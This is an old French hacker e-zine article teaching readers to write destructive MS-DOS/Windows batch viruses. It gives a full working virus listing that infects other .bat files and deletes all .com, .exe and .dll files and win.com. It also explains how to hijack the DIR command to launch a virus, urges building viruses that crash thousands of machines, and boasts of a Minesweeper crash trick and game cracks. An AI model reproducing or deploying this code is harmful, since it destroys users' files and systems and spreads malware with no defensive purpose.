-------[  RtC Mag, At the end of the universe  ]

--------------[  Virus Batch  ]
---------[ in RtC mag 1 ]
----[  by SnEaKie <sneakie-rtc@fr.st>  ]


-------[  Intro sur ce qu'est concretement le Batch et ses possibilites.


    Certes, moins complexe et plus lente que la programmation assembleur, ce type de programmation semble dmod et pourtant, elle est toujours utile que ce soit pour les utilisateurs de Win98,Win95 ou mme Win3.11 ou les "encore plus anciens" qui tournent sous MsDos 6.2 ou infrieur. Cette programmation permet de crer des raccourcis grce  des variables qui peuvent tre insres comme texte  taper.

Selon vous, ces conditions sont-elles ralisables avec la programmation BATCH :
    1) Un virus rsident (Pas dans le sens ou l'on l'entend habituellement.)
    2) Un virus qui s'active sur une faute de frappe.
    3) Un virus qui infecte le dmarrage de l'ordinateur.
Et bien OUI, ces conditions sont tout  fait ralisables grce  la programmation Batch.

Commenons par le commencement ; il existe diffrents cas de figure :

 - Soit vous possdez une machine qui tourne sous MsDos, auquel cas vous n'avez d'autres moyens pour rendre votre virus rsident que de le lancer au dmarrage de l'ordinateur en spcifiant son adresse complte dans le fichier de dmarrage le plus virol (car trs facile  faire) l'Autoexec.bat qui va de paire avec son confrre Config.sys qui sert  charger des gestionnaires (pas toujours trs sr grce  l'assembleur :-)

 - Soit vous possdez une machine qui tourne sous Win98, 95 ou Win3.11, dans ce cas, il vous suffit de procder exactement comme avec MsDos ainsi que les commandes de ce dernier.

 - Soit avec Win98 et 95, le plus facile. Saviez-vous que sous Win98/95 existe un rpertoire appel COMMAND, dans ce dernier gisent les commandes MsDos utilisables sous Windows. Saviez-vous aussi que ces dernires sont "montes" ou "charges" au dmarrage de Windaube pardon , Windows donc si modification de ces commandes: virus charg  :))
    Prenons l'exemple de cette bonne vieille commande DIR.exe si vous crez une nouvelle commande DIR.bat qui appelle l'ancienne commande DIR.exe qui a t dplace au pralable, comme suit :

move c:\windows\command\dir.exe c:\windows\system\dir.exe
 ===> Ceci dplace votre DIR.exe dans le nouveau dossier que vous avez spcifi ici, c:\windows\system.

    Ensuite, vous faites un autre Bat qui lance votre virus avant ou aprs le lancement de DIR.exe.

%lancement de votre virus%
call c:\windows\system\dir.exe    ==> La commande call permet de lancer le fichier sans fermer 
%ou lancement de votre virus%     ==> le Bat en cours d'xcution.

    Ces oprations vous assure qu'une fois que l'utilisateur se servira de ce fichier, il lancera votre virus avant ou aprs redmarrage de sa machine. Encore faut-il que celui-ci ne se rende pas compte que son fichier  chang d'extension.

    Ce petit intermde tant fait dans le but d'initier quelques-uns des lecteurs de ce zine. Maintenant passons aux choses plus srieuses, je pourrais faire un cours sur les variables si certains d'entre vous m'envoie des rclamations, mais passons plutt  la programmation de virus "violents" et suffisamment volus pour faire planter grave des milliers de machines.


-------[  Petit virus simple de ma composition !


--- SNEAKIE.VIRUS -------------------------------------------------------------

@echo off               ; cette commande dsactive l'affichage de certains compte-rendus

cls                     ; comme toujours, cela efface l'cran.  


:debut                  ; tiquette qui sert  faire des renvois. 
if exist 1.txt goto 1   ; Petite bombe  retardement, 1,2,3 fois rien et puis aprs ...
if exist 2.txt goto 2
if exist 3.txt goto 3
if exist 4.txt goto 4
goto fin2

:1
del 1.txt
goto debut

:2
del c:\2.txt
goto debut

:3
del c:\3.txt
goto debut

:4
del c:\4.txt
goto debut

:fin2
echo Ce programme marche a merveille !

:repro
for %%a in (*.bat) do type %%a | find "sn" > text.vir                ; ces quelques lignes mritent explications plus    
for %%a in (*.bat) do copy %%a %%a.kil                               ; bas !
for %%a in (*.bat) do copy text.vir + %%a.kil %%a          

:repro2
for %%a in (*.com) do del %%a

:repro3
for %%a in (*.exe) do del %%a

:windows
if exist c:\windows\win.com goto window     ; 80% des personnes ont comme rpertoire c:\windows
if exist c:\win\win.com goto window         ; 15% ont c:\win et le reste c divers
goto print                                  ; et donc, pour cerner le + de machines
                                            ; il vaut mieux faire un test du rpertoire windows
                                            ; et l'utiliser en fonction du rsultat.

window:
cd c:\windows

wind:
cd c:\win

:dll
for %%a in (*.dll) do del %%a
del win.com             ; C'est win.com pas win.exe, erreur de ma part, dsol!

:virus
if exist c:\virus.txt goto impression

:nonimpression
echo WARNING A Virus Has Intruded Your System ! >c:\virus.txt
c:\windows\command\print < c:\virus.txt

:print                                 ; il y a une boucle a cet endroit pour que l'impression soit 
print c:\virus.txt                     ; ralise en boucle qui dmarre ici et qui finit au renvoi   
goto print                             ; 'goto print'.

--- SNEAKIE.VIRUS -------------------------------------------------------------

Attention celui-ci fait appel  d'autres fichiers qui sont des sous-fichiers.


-------[  Explications


Comme promis , les explications :

    For %%a in (*.bat) do type %%a | find "sn" > text.vir

 ==> Le For %%a in (*.bat) do ..... signifie que pour tous les fichiers *.bat du rpertoire de travail, il fera telle ou telle chose spcifie. 

La suite :

    do type %%a

 ==> Cela veut dire qu'il ouvre  vitesse rapide les fichiers qu'il aura trouvs en *.bat et le :  

    | find "sn" > text.vir

 ==> dja, "|" veut dire qu'il fait les deux oprations spares par cette barre  la fois et find "sn" signifie qu'il va se mettre  la recherche de ces caractres "sn" comme Snake! et > text.vir veut dire qu'il va mettre en mmoire les infos trouves qui contiennent "sn" et qu'il va crer un fichier du nom de text.vir qui contiendra les lignes viroles car se seront celles qui seront trouves.  

    De mme lorque vous voyez For %%a in (*.bat) do del %%a , veut dire que lorsque les fichiers qui possdent l'extension spcifie seront trouvs, alors ils seront supprims : Del signifie supprimer.


-------[  Petit rappel de quelques fonctions batch ambigues


    Maintenant un petit rappel assez simple pour ceux qui veulent infecter des fichiers sans pour autant en changer le nom, il suffit de fusionner 2 fichiers (virus + programme de base) afin qu'il ne fasse plus qu'un (programme virol). Pour cela, il existe 2 types d'oprations diffrentes qui conduisent au mme rsultat. 

 * copy exemple.txt + exemple2.txt exemple.txp ==> lors de cette opration, le premier fichier spcifi qui s'appelle exemple.txt sera plac avant l'autre fichier du nom d'exemple2.txt et ces deux fichiers une fois fusionns donneront naissance  un fichier intitul exemple.txp.

 * lorsqu'il s'agit de copier un virus qui possde une signature, par exemple.
Type exemple.txt | find "Virus">> exemple.txp


    Petit inconvnient de la commande print ! (solvable bien sr :-)   

    Avec la commande print rside un problme imminent ; en effet, il faut lancer la commande une premire fois en spcifiant le port par dfaut de l'imprimante d'ou l'ide de faire :

c:\dos\print < c:\hackviru\prn.txt ==> la valeur par dfaut est 'prn'. En faisant cette opration, la commande print va tre lance et prn va s'afficher ainsi la commande sera prte car il faudra la lancer une seconde fois en mettant alors le fichier  imprimer dans la file d'attente, ce qui sera fait lors de :
print c:\virus.txt.

    Petites remarques sur cet article, un second est prvu sur l'explication d'un virus Batch plus puissant, seulement certaines bribes de ce virus ne sont pas transposables  W98 et 95, en effet, la commande print n'existe ni sous le 95 ni sous le 98 dans le rpertoire Windows\Command. De ce fait, toutes les lignes qui contiennent ces caractres sont vraies sous Dos ou W3.11 mais non transposables sous W95 et 98. Dommage, je cherche encore comment trouver un moyen universel de lancer une impression  partir des commandes Ms-Dos sous ces versions d'OS : W98 et 95. Cependant en ce qui concerne ce qui suit, quelque soit la version de votre OS, cela marche et bien!   


-------[  Exploitation d'un petite faille du dmineur !

    Il existe bien d'autres faons de faire planter des ordinateurs, d'ailleurs la dernire fois que je suis all chez mon trs cher ami xxx (son anonymat est trs important selon lui !), j'ai plant son Cyrix en faisant une manipulation trs trs simple. Allez, je vais vous dvoiler une faille du dmineur, trs pratique car celui-ci est prsent sur toutes les machines qui possdent Windows quelle que soit la version. Si votre machine est assez cooprative, vous verrez alors apparatre les bonnes vieilles erreurs fatales Windows : avec un peu plus de chance : "Mmoire dangereusement basse!". Winmine est le nom du dmineur sous windows et ce jeu plutt prcaire possde un fichier *.ini qui initialise le programme Winmine.exe. Dans ce Winmine.ini il suffit d'tudier la grandeur de la grille de jeu, soit x1 le nombre de cases en longeur et x2 le nombre de cases en hauteur, reste alors  dfinir le nombre de mines, pour faire planter en beaut la machine il suffit d'tablir un nombre de mines qui soit dfinit selon : 
(x1*x2)+1 = Nombre de mines.
    Donc il y a plus de mines que de cases ainsi l'ordinateur plante en beaut. Ceci est une petite faille que j'ai remarque et qui m'a explos et dont je voulais faire part  tous. Rcemment un ami m'a apport un jeu GTA (vraiment excellent). Le soir mme mes amis et moi (xxx , xxx , xxx) avons entreprit de faire un crack qui est fini. Nous avons 
dj ralis un crack pour Megarace2 et pour Worms1 et 2, et bien d'autres encore ... Qui sait, ces cracks seront-ils disponibles, si vous nous demandez de les faire apparatre sur notre site Internet.

    PS : C'est bien beau mais au niveau de la programmation Batch, il existe trs peu d'antivirus capables de dtecter rellement des virus puissants. Et ouais, pourquoi il faut pas hsiter : bon courage ...!!! 


-------[  EOF
